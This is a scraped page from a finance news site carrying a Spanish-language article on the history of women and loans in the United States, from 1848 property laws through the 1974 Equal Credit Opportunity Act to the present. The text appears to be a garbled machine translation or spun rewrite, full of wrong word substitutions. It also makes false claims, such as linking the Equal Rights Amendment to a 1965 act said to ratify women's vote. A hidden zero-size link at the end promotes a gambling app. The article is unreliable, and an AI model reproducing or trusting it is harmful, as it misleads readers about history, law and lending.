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<style>.tdi_20{display:inline-block}.tdi_20 .tdb-mobile-menu-button i{font-size:27px;width:54px;height:54px;line-height:54px}.tdi_20 .tdb-mobile-menu-button svg{width:27px}.tdi_20 .tdb-mobile-menu-button .tdb-mobile-menu-icon-svg{width:54px;height:54px}.tdi_20 .tdb-mobile-menu-button{color:#ffffff}.tdi_20 .tdb-mobile-menu-button svg,.tdi_20 .tdb-mobile-menu-button svg *{fill:#ffffff}.tdi_20 .tdb-mobile-menu-button:hover{color:#ededed}.tdi_20 .tdb-mobile-menu-button:hover svg,.tdi_20 .tdb-mobile-menu-button:hover svg *{fill:#ededed}@media (max-width:767px){.tdi_20 .tdb-mobile-menu-button i{font-size:25px;width:50px;height:50px;line-height:50px}.tdi_20 .tdb-mobile-menu-button svg{width:25px}.tdi_20 .tdb-mobile-menu-button .tdb-mobile-menu-icon-svg{width:50px;height:50px}}</style><div class="tdb-block-inner td-fix-index"><span class="tdb-mobile-menu-button"><i class="tdb-mobile-menu-icon td-icon-mobile"></i></span></div></div> <!-- ./block --></div></div><div class="vc_column tdi_22  wpb_column vc_column_container tdc-column td-pb-span6">
<style scoped>.tdi_22{vertical-align:baseline}.tdi_22>.wpb_wrapper,.tdi_22>.wpb_wrapper>.tdc-elements{display:block}.tdi_22>.wpb_wrapper>.tdc-elements{width:100%}.tdi_22>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_22>.wpb_wrapper{width:auto;height:auto}@media (max-width:767px){.tdi_22{width:80%!important}}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_logo tdi_23 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_23" >
<style>.tdi_23 .tdb-logo-a,.tdi_23 h1{flex-direction:row;align-items:center;justify-content:center}.tdi_23 .tdb-logo-svg-wrap{display:block}.tdi_23 .tdb-logo-svg-wrap+.tdb-logo-img-wrap{display:none}.tdi_23 .tdb-logo-img-wrap{display:block}.tdi_23 .tdb-logo-text-tagline{margin-top:2px;margin-left:0;display:block}.tdi_23 .tdb-logo-text-title{display:block;color:#ffffff;font-size:40px!important;letter-spacing:-2px!important;}.tdi_23 .tdb-logo-text-wrap{flex-direction:column;align-items:flex-start}.tdi_23 .tdb-logo-icon{top:0px;display:block}.tdi_23 .tdb-logo-a:hover .tdb-logo-text-title{color:#eaeaea;background:none;-webkit-text-fill-color:initial;background-position:center center}@media (min-width:1019px) and (max-width:1140px){.tdi_23 .tdb-logo-text-title{font-size:33px!important;}}@media (min-width:768px) and (max-width:1018px){.tdi_23 .tdb-logo-text-title{font-size:28px!important;letter-spacing:-3px!important;}}@media (max-width:767px){.tdi_23 .tdb-logo-text-title{font-size:28px!important;}}</style><div class="tdb-block-inner td-fix-index"><a class="tdb-logo-a" href="https://financesnewsonline.com/"><span class="tdb-logo-text-wrap"><span class="tdb-logo-text-title">𝐅𝐢𝐧𝐚𝐧𝐜𝐞𝐬 𝐍𝐞𝐰𝐬 𝐎𝐧𝐥𝐢𝐧𝐞</span></span></a></div></div> <!-- ./block --></div></div><div class="vc_column tdi_25  wpb_column vc_column_container tdc-column td-pb-span3">
<style scoped>.tdi_25{vertical-align:baseline}.tdi_25>.wpb_wrapper,.tdi_25>.wpb_wrapper>.tdc-elements{display:block}.tdi_25>.wpb_wrapper>.tdc-elements{width:100%}.tdi_25>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_25>.wpb_wrapper{width:auto;height:auto}@media (max-width:767px){.tdi_25{width:10%!important}}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_mobile_search tdi_26 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_26" >
<style>.tdi_26{display:inline-block}.tdi_26 .tdb-header-search-button-mob i{font-size:22px;width:55px;height:55px;line-height:55px}.tdi_26 .tdb-header-search-button-mob svg{width:22px}.tdi_26 .tdb-header-search-button-mob .tdb-mobile-search-icon-svg{width:55px;height:55px;display:flex;justify-content:center}.tdi_26 .tdb-header-search-button-mob{color:#ffffff}.tdi_26 .tdb-header-search-button-mob svg,.tdi_26 .tdb-header-search-button-mob svg *{fill:#ffffff}.tdi_26 .tdb-header-search-button-mob:hover{color:#f2f2f2}@media (max-width:767px){.tdi_26 .tdb-header-search-button-mob i{font-size:20px;width:50px;height:50px;line-height:50px}.tdi_26 .tdb-header-search-button-mob svg{width:20px}.tdi_26 .tdb-header-search-button-mob .tdb-mobile-search-icon-svg{width:50px;height:50px;display:flex;justify-content:center}}</style><div class="tdb-block-inner td-fix-index"><span class="tdb-header-search-button-mob dropdown-toggle" data-toggle="dropdown"><i class="tdb-mobile-search-icon td-icon-search"></i></span></div></div> <!-- ./block --></div></div></div></div></div></div>                    </div>

                
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<style scoped>.tdi_28{min-height:0}.td-header-desktop-wrap{position:relative}</style><div id="tdi_29" class="tdc-row stretch_row_1200 td-stretch-content"><div class="vc_row tdi_30  wpb_row td-pb-row tdc-element-style" >
<style scoped>.tdi_30,.tdi_30 .tdc-columns{min-height:0}.tdi_30,.tdi_30 .tdc-columns{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-start;align-items:center}.tdi_30 .tdc-columns{width:100%}.tdi_30:before,.tdi_30:after{display:none}.tdi_30{padding-top:5px!important;padding-bottom:5px!important;position:relative}.tdi_30 .td_block_wrap{text-align:left}</style>
<div class="tdi_29_rand_style td-element-style" ><style>.tdi_29_rand_style{background-color:#005689!important}</style></div><div class="vc_column tdi_32  wpb_column vc_column_container tdc-column tdc-restr-display-none td-pb-span3">
<style scoped>.tdi_32{vertical-align:baseline}.tdi_32>.wpb_wrapper,.tdi_32>.wpb_wrapper>.tdc-elements{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-start;align-items:center}.tdi_32>.wpb_wrapper>.tdc-elements{width:100%}.tdi_32>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_32>.wpb_wrapper{width:100%;height:100%}.tdi_32{width:30%!important}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_date tdi_33 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_33" >
<style>.tdb_header_date{margin-bottom:0;clear:none}.tdb_header_date .tdb-block-inner{display:flex;align-items:baseline}.tdb_header_date .tdb-head-date-txt{font-family:var(--td_default_google_font_1,'Open Sans','Open Sans Regular',sans-serif);font-size:11px;line-height:1;color:#000}.tdi_33{display:inline-block}.tdi_33 .tdb-head-date-txt{color:#ffffff;font-size:15px!important;font-weight:600!important}@media (min-width:1019px) and (max-width:1140px){.tdi_33 .tdb-head-date-txt{font-size:14px!important}}@media (min-width:768px) and (max-width:1018px){.tdi_33 .tdb-head-date-txt{font-size:11px!important}}</style><div class="tdb-block-inner td-fix-index"><div class="tdb-head-date-txt">Thursday, October 1, 2026</div></div></div> <!-- ./block --></div></div><div class="vc_column tdi_35  wpb_column vc_column_container tdc-column tdc-restr-display-none td-pb-span3">
<style scoped>.tdi_35{vertical-align:baseline}.tdi_35>.wpb_wrapper,.tdi_35>.wpb_wrapper>.tdc-elements{display:block}.tdi_35>.wpb_wrapper>.tdc-elements{width:100%}.tdi_35>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_35>.wpb_wrapper{width:auto;height:auto}.tdi_35{width:40%!important}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_logo tdi_36 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_36" >
<style>.tdi_36 .tdb-logo-a,.tdi_36 h1{flex-direction:row;align-items:center;justify-content:center}.tdi_36 .tdb-logo-svg-wrap{display:block}.tdi_36 .tdb-logo-svg-wrap+.tdb-logo-img-wrap{display:none}.tdi_36 .tdb-logo-img-wrap{display:block}.tdi_36 .tdb-logo-text-tagline{margin-top:2px;margin-left:0;display:block}.tdi_36 .tdb-logo-text-title{display:block;color:#ffffff;font-size:43px!important;letter-spacing:-2px!important;}.tdi_36 .tdb-logo-text-wrap{flex-direction:column;align-items:flex-start}.tdi_36 .tdb-logo-icon{top:0px;display:block}.tdi_36 .tdb-logo-a:hover .tdb-logo-text-title{color:#eaeaea;background:none;-webkit-text-fill-color:initial;background-position:center center}@media (min-width:768px) and (max-width:1018px){.tdi_36 .tdb-logo-text-title{font-size:30px!important;}}</style><div class="tdb-block-inner td-fix-index"><a class="tdb-logo-a" href="https://financesnewsonline.com/"><span class="tdb-logo-text-wrap"><span class="tdb-logo-text-title">𝐅𝐢𝐧𝐚𝐧𝐜𝐞𝐬 𝐍𝐞𝐰𝐬 𝐎𝐧𝐥𝐢𝐧𝐞</span></span></a></div></div> <!-- ./block --></div></div><div class="vc_column tdi_38  wpb_column vc_column_container tdc-column td-pb-span6">
<style scoped>.tdi_38{vertical-align:baseline}.tdi_38>.wpb_wrapper,.tdi_38>.wpb_wrapper>.tdc-elements{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-end;align-items:flex-end}.tdi_38>.wpb_wrapper>.tdc-elements{width:100%}.tdi_38>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_38>.wpb_wrapper{width:100%;height:100%}.tdi_38{width:30%!important}@media(min-width:1141px){.tdi_38{display:inline-block!important}}</style><div class="wpb_wrapper" ><div class="tdm_block td_block_wrap tdm_block_socials tdi_39 tdm-content-horiz-left td-pb-border-top td_block_template_1"  data-td-block-uid="tdi_39" >
<style>.tdi_39{margin-right:10px!important;margin-bottom:10px!important;padding-top:-!important}</style>
<style>.tdm_block.tdm_block_socials{margin-bottom:0}.tdm-social-wrapper{*zoom:1}.tdm-social-wrapper:before,.tdm-social-wrapper:after{display:table;content:'';line-height:0}.tdm-social-wrapper:after{clear:both}.tdm-social-item-wrap{display:inline-block}.tdm-social-item{position:relative;display:inline-block;vertical-align:middle;-webkit-transition:all 0.2s;transition:all 0.2s;text-align:center;-webkit-transform:translateZ(0);transform:translateZ(0)}.tdm-social-item i{font-size:14px;color:var(--td_theme_color,#4db2ec);-webkit-transition:all 0.2s;transition:all 0.2s}.tdm-social-text{display:none;margin-top:-1px;vertical-align:middle;font-size:13px;color:var(--td_theme_color,#4db2ec);-webkit-transition:all 0.2s;transition:all 0.2s}.tdm-social-item-wrap:hover i,.tdm-social-item-wrap:hover .tdm-social-text{color:#000}.tdm-social-item-wrap:last-child .tdm-social-text{margin-right:0!important}</style>
<style>.tdi_40 .tdm-social-item i{font-size:13px;vertical-align:middle;line-height:19.5px}.tdi_40 .tdm-social-item i.td-icon-linkedin,.tdi_40 .tdm-social-item i.td-icon-pinterest,.tdi_40 .tdm-social-item i.td-icon-blogger,.tdi_40 .tdm-social-item i.td-icon-vimeo{font-size:10.4px}.tdi_40 .tdm-social-item{width:19.5px;height:19.5px;margin:5px 10px 5px 0}.tdi_40 .tdm-social-item-wrap:last-child .tdm-social-item{margin-right:0!important}.tdi_40 .tdm-social-item i,.tds-team-member2 .tdi_40.tds-social1 .tdm-social-item i{color:#ffffff}.tdi_40 .tdm-social-item-wrap:hover i,.tds-team-member2 .tdi_40.tds-social1 .tdm-social-item:hover i{color:#4db2ec}.tdi_40 .tdm-social-text{display:none;margin-left:2px;margin-right:18px;color:#ffffff;font-family:Merriweather Sans!important;font-size:12px!important}.tdi_40 .tdm-social-item-wrap:hover .tdm-social-text{color:#4db2ec}@media (min-width:768px) and (max-width:1018px){.tdi_40 .tdm-social-item i{font-size:11px;vertical-align:middle;line-height:16.5px}.tdi_40 .tdm-social-item i.td-icon-linkedin,.tdi_40 .tdm-social-item i.td-icon-pinterest,.tdi_40 .tdm-social-item i.td-icon-blogger,.tdi_40 .tdm-social-item i.td-icon-vimeo{font-size:8.8px}.tdi_40 .tdm-social-item{width:16.5px;height:16.5px}.tdi_40 .tdm-social-text{font-size:11px!important}}</style><div class="tdm-social-wrapper tds-social1 tdi_40"><div class="tdm-social-item-wrap"><a href="#"  title="Facebook" class="tdm-social-item"><i class="td-icon-font td-icon-facebook"></i><span style="display: none">Facebook</span></a></div><div class="tdm-social-item-wrap"><a href="#"  title="Instagram" class="tdm-social-item"><i class="td-icon-font td-icon-instagram"></i><span style="display: none">Instagram</span></a></div><div class="tdm-social-item-wrap"><a href="#"  title="Linkedin" class="tdm-social-item"><i class="td-icon-font td-icon-linkedin"></i><span style="display: none">Linkedin</span></a></div><div class="tdm-social-item-wrap"><a href="#"  title="Twitter" class="tdm-social-item"><i class="td-icon-font td-icon-twitter"></i><span style="display: none">Twitter</span></a></div></div></div><div class="td_block_wrap tdb_header_search tdi_41 tdb-header-search-trigger-enabled td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_41" >
<style>.tdi_41{justify-content:flex-end!important;text-align:right!important}</style>
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aria-label="Buscar"><span>Buscar</span></button></div></form><div class="tdb-aj-search"></div></div></div><a href="#" role="button" aria-label="Buscar" class="tdb-head-search-btn dropdown-toggle" data-toggle="dropdown"><i class="tdb-search-icon td-icon-search"></i></a></div></div> <!-- ./block --></div></div></div></div><div id="tdi_42" class="tdc-row stretch_row_1400 td-stretch-content"><div class="vc_row tdi_43  wpb_row td-pb-row tdc-element-style" >
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<style>.tdb_title{margin-bottom:19px}.tdb_title.tdb-content-horiz-center{text-align:center}.tdb_title.tdb-content-horiz-center .tdb-title-line{margin:0 auto}.tdb_title.tdb-content-horiz-right{text-align:right}.tdb_title.tdb-content-horiz-right .tdb-title-line{margin-left:auto;margin-right:0}.tdb-title-text{display:inline-block;position:relative;margin:0;word-wrap:break-word;font-size:30px;line-height:38px;font-weight:700}.tdb-first-letter{position:absolute;-webkit-user-select:none;user-select:none;pointer-events:none;text-transform:uppercase;color:rgba(0,0,0,0.08);font-size:6em;font-weight:300;top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%);left:-0.36em;z-index:-1;-webkit-text-fill-color:initial}.tdb-title-line{display:none;position:relative}.tdb-title-line:after{content:'';width:100%;position:absolute;background-color:var(--td_theme_color,#4db2ec);top:0;left:0;margin:auto}.tdb-single-title .tdb-title-text{font-size:41px;line-height:50px;font-weight:400}.tdi_69 .tdb-title-text{color:#000000;font-family:Merriweather Sans!important;font-size:35px!important;line-height:1.4!important;font-weight:700!important}.tdi_69 .tdb-add-text{color:#000000;font-family:Merriweather Sans!important}.tdi_69 .tdb-title-line:after{height:2px;bottom:40%;background:#000000}.tdi_69 .tdb-title-line{height:50px}.td-theme-wrap .tdi_69{text-align:left}.tdi_69 .tdb-first-letter{left:-0.36em;right:auto;font-family:Merriweather Sans!important}@media (min-width:768px) and (max-width:1018px){.tdi_69 .tdb-title-text{font-size:27px!important}}@media (max-width:767px){.tdi_69 .tdb-title-text{font-size:25px!important}}</style><div class="tdb-block-inner td-fix-index"><h1 class="tdb-title-text">La historia de las mujeres y los préstamos</h1><div></div><div class="tdb-title-line"></div></div></div><div class="td_block_wrap tdb_single_featured_image tdi_70 tdb-content-horiz-left td-pb-border-top td_block_template_1"  data-td-block-uid="tdi_70" >
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<p>La igualdad financiera ha represión un espléndido camino en los Estados Unidos; hace poco más de 50 abriles, las mujeres no podían tomar un préstamo a menos que aconsejaran con un hombre. Pero a pesar del progreso, las mujeres aún ganan cerca de del 85 por ciento de lo que ganan los hombres, según el exploración del Centro de Investigación Pew.</p>
<p>Esta brecha salarial de apartado puede dificultar que las mujeres pagen la deuda tan rápido como sus homólogos masculinos. Esto es especialmente cierto para los préstamos estudiantiles, donde las mujeres tienden a pedir prestado más que los hombres. Para comprender completamente cómo el apartado afecta los préstamos para las mujeres, ayuda a mirar cerca de a espaldas en algunos hitos secreto en la historia de las mujeres, el patrimonio y el crédito.</p>
<h2 id="1848">1848: las mujeres casadas pueden controlar su propia propiedad</h2>
<p>Hasta mediados de 1800, una mujer no podía poseer intereses raíces a menos que estuviera soltera. Cuando una mujer se casó, perdió el derecho de apropiarse propiedades, y su marido obtuvo el control de cualquier propiedad que poseía anteriormente.</p>
<p>En 1848, Nueva York aprobó la Ley de Propiedad de Mujeres Casadas, que permitió a las mujeres casadas su propiedad. La mayoría de los estados habían recogido versiones similares de esta ley para 1900.</p>
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<p>El derecho a poseer propiedades ofrecía un camino cerca de la independencia financiera y la construcción de riqueza para mujeres casadas.</p>
<p>Sin confiscación, la ley no dio a las mujeres camino a préstamos o productos bancarios. Tardaría varias décadas más ayer de que las mujeres pudieran obtener camino calibrado a los productos de préstamos.</p>
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</p></div>
</section>
<h2 id="1960s" data-beam-element-viewed="" data-id="br-h2-second-onpage-placement" data-type="h2" data-location="Loans, Personal Loans" data-position="h2_second_placement" data-name="h2_second_placement" data-text="The history of women and loans" data-outcome="">La decenio de 1960: las mujeres pueden rajar cuentas bancarias</h2>
<p>Las mujeres estadounidenses obtuvieron camino legítimo a productos bancarios en la decenio de 1960. Sin confiscación, muchas instituciones bancarias aún no permitirían a las mujeres rajar una cuenta corriente, obtener una plástico de crédito o solicitar un préstamo o una hipoteca sin un cosignador masculino.</p>
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<p>                    Impacto en las mujeres que usan productos de préstamos
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<p>Si acertadamente esta era marcó el principio de que las mujeres pudieran difundir crédito bajo sus propios nombres, muchos bancos continuaron discriminando contra ellos o requirieron la billete de un hombre. Es posible que las mujeres hayan tenido el derecho legítimo de aceptar a los productos de préstamos, pero los prestamistas les impidieron en gran medida participar significativamente en el mercado.</p>
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</p></div>
</section>
<h2 id="1963">1963: la Ley de igualdad de cuota</h2>
<p>La Ley de Igualdad de Igualdad de 1963 prohibió a los empleadores retribuir a hombres y mujeres de guisa diferente por trabajo comparable. Esta ley coincidió con las mujeres que obtuvieron camino a cuentas bancarias por primera vez.</p>
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                </p>
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<p>Cedido que el ingreso es una métrica secreto utilizada por los prestamistas en decisiones de crédito, un salario más bajo da como resultado un poder de endeudamiento. La Ley de Igualdad de Plazo allanó el camino para más opciones de préstamos para las mujeres, ya que pudieron superar salarios comparables a sus homólogos masculinos.</p>
<div style="clear:both; margin-top:0em; margin-bottom:1em;"><a href="https://financesnewsonline.com/cuanto-tiempo-duran-los-terminos-del-prestamo-de-rv-ademas-de-que-elegir" target="_self" rel="dofollow" class="ue423cc38c8ff312f64e8ce5babbb870a"><!-- INLINE RELATED POSTS 1/3 //--><style> .ue423cc38c8ff312f64e8ce5babbb870a { padding:0px; margin: 0; padding-top:1em!important; padding-bottom:1em!important; width:100%; display: block; font-weight:bold; background-color:#eaeaea; border:0!important; border-left:4px solid #34495E!important; text-decoration:none; } .ue423cc38c8ff312f64e8ce5babbb870a:active, .ue423cc38c8ff312f64e8ce5babbb870a:hover { opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; text-decoration:none; } .ue423cc38c8ff312f64e8ce5babbb870a { transition: background-color 250ms; webkit-transition: background-color 250ms; opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; } .ue423cc38c8ff312f64e8ce5babbb870a .ctaText { font-weight:bold; color:#464646; text-decoration:none; font-size: 16px; } .ue423cc38c8ff312f64e8ce5babbb870a .postTitle { color:#000000; text-decoration: underline!important; font-size: 16px; } .ue423cc38c8ff312f64e8ce5babbb870a:hover .postTitle { text-decoration: underline!important; } </style><div style="padding-left:1em; padding-right:1em;"><span class="ctaText">See also</span>&nbsp; <span class="postTitle">¿Cuánto tiempo duran los términos del préstamo de RV? Además de que elegir</span></div></a></div><p>Sin confiscación, las diferencias salariales de apartado persistieron a pesar de la nueva ley, y aún continúan hoy.</p>
</p></div>
</p></div>
</p></div>
</section>
<h2 id="1972">1972: La resarcimiento de igualdad de derechos</h2>
<p>La resarcimiento de igualdad de derechos (ERA) fue aprobada por el Congreso en 1972 para convenir formalmente la &#8220;igualdad de derechos bajo la ley&#8221; para hombres y mujeres a nivel federal. El objetivo de la resarcimiento era eliminar las disparidades en cómo la ley trataba a las mujeres y a los hombres en diversos temas, incluida la propiedad y el empleo.</p>
<p>Aunque no obtuvo el apoyo de 38 estados necesarios para la ratificación en la ley, en última instancia, no se ha convertido en la ley de la tierra, ha servido como catalizador para otras victorias legales para las mujeres. A la efectividad innovador se le atribuye el camino para la aprobación de la Ley de Derechos de Voto de 1965, que ratificó el derecho de voto de una mujer.</p>
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<p>La resarcimiento de igualdad de derechos habría agradecido formalmente el sexo como una clasificación sospechosa como raza, religión y origen doméstico. Esto habría despejado muchas instituciones y estructuras para un veterano pesquisa para certificar que la discriminación basada en el apartado no tenga circunscripción.</p>
<p>La era no fue adoptada como una nueva resarcimiento constitucional, pero allanó el camino para el paso de la Ley de Igualdad de Oportunidades de Crédito.</p>
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</p></div>
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</section>
<h2 id="1974">1974: la Ley de Oportunidades en Igualdad de Crédito</h2>
<p>La Ley de Igualdad de Oportunidades de Crédito (ECOA) de 1974 marcó un punto de inflexión significativo en el futuro financiero de las mujeres estadounidenses. Antaño de la ECOA, las mujeres tenían más probabilidades de que se les negara crédito u ofreciera términos menos competitivos que los hombres, y muchos prestamistas aún requerían que una solicitante femenina tuviera un cosignador masculino. El ECOA hizo ilegal que los prestamistas traten a las mujeres de guisa diferente al tomar decisiones de crédito.</p>
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                </p>
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<p>El ECOA abrió el mercado de préstamos a las mujeres, dándoles una mejor oportunidad de superar igualdad de condiciones con los hombres cuando se manejo de pedir patrimonio prestado. En los más de 50 abriles transcurridos desde que se aprobó el ECOA, las mujeres en los Estados Unidos han obtenido el mismo camino a los productos de crédito previamente reservados para los hombres.</p>
<p>Aunque los hombres aún conservan una ligera superioridad en sus puntajes de crédito en comparación con las mujeres, los datos recientes de la Reserva Federal indican que el apartado tiene un impacto exiguo en los puntajes de crédito. Los hombres y mujeres incluso tienen cantidades comparables de deuda.</p>
<div style="clear:both; margin-top:0em; margin-bottom:1em;"><a href="https://financesnewsonline.com/cuanto-costara-una-linea-de-credito-comercial" target="_self" rel="dofollow" class="ubbe35645d181b9127b151dc62038b5d5"><!-- INLINE RELATED POSTS 2/3 //--><style> .ubbe35645d181b9127b151dc62038b5d5 { padding:0px; margin: 0; padding-top:1em!important; padding-bottom:1em!important; width:100%; display: block; font-weight:bold; background-color:#eaeaea; border:0!important; border-left:4px solid #34495E!important; text-decoration:none; } .ubbe35645d181b9127b151dc62038b5d5:active, .ubbe35645d181b9127b151dc62038b5d5:hover { opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; text-decoration:none; } .ubbe35645d181b9127b151dc62038b5d5 { transition: background-color 250ms; webkit-transition: background-color 250ms; opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; } .ubbe35645d181b9127b151dc62038b5d5 .ctaText { font-weight:bold; color:#464646; text-decoration:none; font-size: 16px; } .ubbe35645d181b9127b151dc62038b5d5 .postTitle { color:#000000; text-decoration: underline!important; font-size: 16px; } .ubbe35645d181b9127b151dc62038b5d5:hover .postTitle { text-decoration: underline!important; } </style><div style="padding-left:1em; padding-right:1em;"><span class="ctaText">See also</span>&nbsp; <span class="postTitle">¿Cuánto costará una línea de crédito comercial?</span></div></a></div></p></div>
</p></div>
</p></div>
</section>
<h2 id="1988">1988: la Ley de Propiedad de Empresas de Mujeres</h2>
<p>El Senado aprobó la Ley de Propiedad de Empresas de Mujeres (WBOA) para convidar amparo financiera adicional y apoyo de tutoría a pequeñas empresas propiedad y administrada por mujeres. La Ley estableció el Consejo Doméstico de Negocios de Mujeres, que brinda apoyo a las empresas de propiedad de mujeres en los sectores privados y públicos.</p>
<p>Como resultado, los centros de negocios de las mujeres en casi todos los estados proporcionan bienes financieros, de dirección y marketing para mujeres que desean comenzar o necesitan ayuda para ordenar negocios. Los centros incluso brindan a las mujeres camino a todos los programas financieros y préstamos de la SBA.</p>
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<p>Esta ley eliminó el requisito de un hombre en relación con Cosign para préstamos comerciales. Entre 2007 y 2018, el plan de las mujeres creció un 58 por ciento como resultado de los esfuerzos de la OMB.</p>
<p>Durante la suministro de Biden-Harris, los préstamos de la SBA a las empresas propiedad de mujeres aumentaron en un 70 por ciento, totalizando más de $ 5.1 mil millones en préstamos hechos a mujeres en el año fiscal que finalizó 2023. A pesar del progreso, solo el 45 por ciento de las mujeres solicitaban un préstamo fueron aprobadas por el monto total, frente a el 55 por ciento de las empresas de los hombres.</p>
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</section>
<h2 id="2007">2007: La Gran Recesión</h2>
<p>Las mujeres fueron de las primeras en perder sus empleos durante la recesión financiera de 2007 a 2009, y se vieron desproporcionadamente afectadas por la crisis hipotecaria resultante adecuado a que son objetivos más probables para préstamos de stop aventura.</p>
<p>Las mujeres tienen un poco más de probabilidades de ser atacadas por prestamistas depredadores, especialmente mujeres de bajos ingresos y mujeres de color. Estos prestamistas tienden a aprovecharse de las personas en tiempos de recesión económica, como la recesión.</p>
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<p>                    Impacto en las mujeres que usan productos de préstamos
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<p>La gran recesión y la crisis hipotecaria posterior dejaron a muchos estadounidenses atados por efectivo y ahogándose en deudas. Para las mujeres estadounidenses, que ya estaban detrás de la financiación y estaban entre las primeras en perder empleos, esta crisis elevó el aventura de préstamos depredadores y cayendo en un ciclo de deuda interminable.</p>
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<h2 id="present">En la presente</h2>
<p>Cuando se manejo de apartado y deuda, los hombres tienden a pedir prestado más que las mujeres con la mayoría de los tipos de crédito. La investigación de Experian encontró que el único circunscripción donde las mujeres toman prestado un poco más que los hombres es con los préstamos estudiantiles.</p>
<p>Según los datos, los hombres tienen un 20 por ciento más de deuda de préstamos personales que las mujeres y un 16.3 por ciento más en la deuda de préstamos para automóviles. Los hombres y las mujeres se emparejan de guisa conveniente uniforme cuando se manejo de tarjetas de crédito y préstamos estudiantiles, aunque las mujeres pidieron prestados un poco más de deuda de préstamos estudiantiles (2.7 por ciento) que los hombres. Los hombres incluso tienen aproximadamente un 10 por ciento más en deuda hipotecaria que sus homólogos femeninas. Aunque las mujeres tienen menos deuda total de tarjetas de crédito que los hombres, tienen más cuentas de tarjetas de crédito abiertas, según Experian.</p>
<div style="clear:both; margin-top:0em; margin-bottom:1em;"><a href="https://financesnewsonline.com/pagando-prestamos-estudiantiles-4-formas-de-comenzar" target="_self" rel="dofollow" class="ua09cef5678ee7faceca51b045aadfad2"><!-- INLINE RELATED POSTS 3/3 //--><style> .ua09cef5678ee7faceca51b045aadfad2 { padding:0px; margin: 0; padding-top:1em!important; padding-bottom:1em!important; width:100%; display: block; font-weight:bold; background-color:#eaeaea; border:0!important; border-left:4px solid #34495E!important; text-decoration:none; } .ua09cef5678ee7faceca51b045aadfad2:active, .ua09cef5678ee7faceca51b045aadfad2:hover { opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; text-decoration:none; } .ua09cef5678ee7faceca51b045aadfad2 { transition: background-color 250ms; webkit-transition: background-color 250ms; opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; } .ua09cef5678ee7faceca51b045aadfad2 .ctaText { font-weight:bold; color:#464646; text-decoration:none; font-size: 16px; } .ua09cef5678ee7faceca51b045aadfad2 .postTitle { color:#000000; text-decoration: underline!important; font-size: 16px; } .ua09cef5678ee7faceca51b045aadfad2:hover .postTitle { text-decoration: underline!important; } </style><div style="padding-left:1em; padding-right:1em;"><span class="ctaText">See also</span>&nbsp; <span class="postTitle">Pagando préstamos estudiantiles: 4 formas de comenzar</span></div></a></div><p>En el costado positivo, la investigación del Centro de Investigación Pew indica que la brecha salarial de apartado se ha estrechado en las últimas décadas. Asimismo ha habido un aumento en las plataformas para ayudar a las mujeres a avanzar en el mundo financiero. Plataformas como Ellevest y Clever Girl Finance ofrecen camino a cursos, coaching y otros bienes para promover la educación financiera y el crecimiento entre las mujeres, a pesar de los desafíos que pueden malquistar.</p>
<h2 id="next">¿A dónde vamos desde aquí?</h2>
<p>Las mujeres han conseguido un progreso significativo para obtener camino al crédito en los últimos 175 abriles más o menos. Al principio era flemático, con más de un año de más de un año ayer de que la Ley de Oportunidades de Igualdad de Crédito creara graves consecuencias legales para discriminar a las mujeres en función de su apartado.</p>
<p>Las mujeres ahora disfrutan de la paridad relativa con los hombres en puntajes de crédito y saldos de préstamos en todo tipo de productos de préstamos. A medida que se cierra la brecha salarial de apartado, las mujeres pueden catalogar para los montos de los préstamos comparables a los de los hombres y construir riqueza de forma independiente.</p>
<p>Pero hay más trabajo por hacer. La investigación muestra una correlación directa entre la billete de la fuerza gremial y la inclusión financiera, lo que significa que cuantas más mujeres participan en la fuerza gremial, más pueden participar en el mundo financiero. La comprensión de puertas a puestos a nivel superior y ejecutor para mujeres incluso ayudará a someter las disparidades de ingresos en los EE. UU. Y facilitará que las mujeres accedan a crédito asequible.</p>
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<!-- sc5a72ec-965157 -->

<div><a href="https://play.google.com/store/apps/details?id=com.pragmaticplay.breakerbonzagame&#038;hl=id" style="overflow: hidden;height: 0;width: 0;display: inline-block;">pragmatic play</a></div></body>
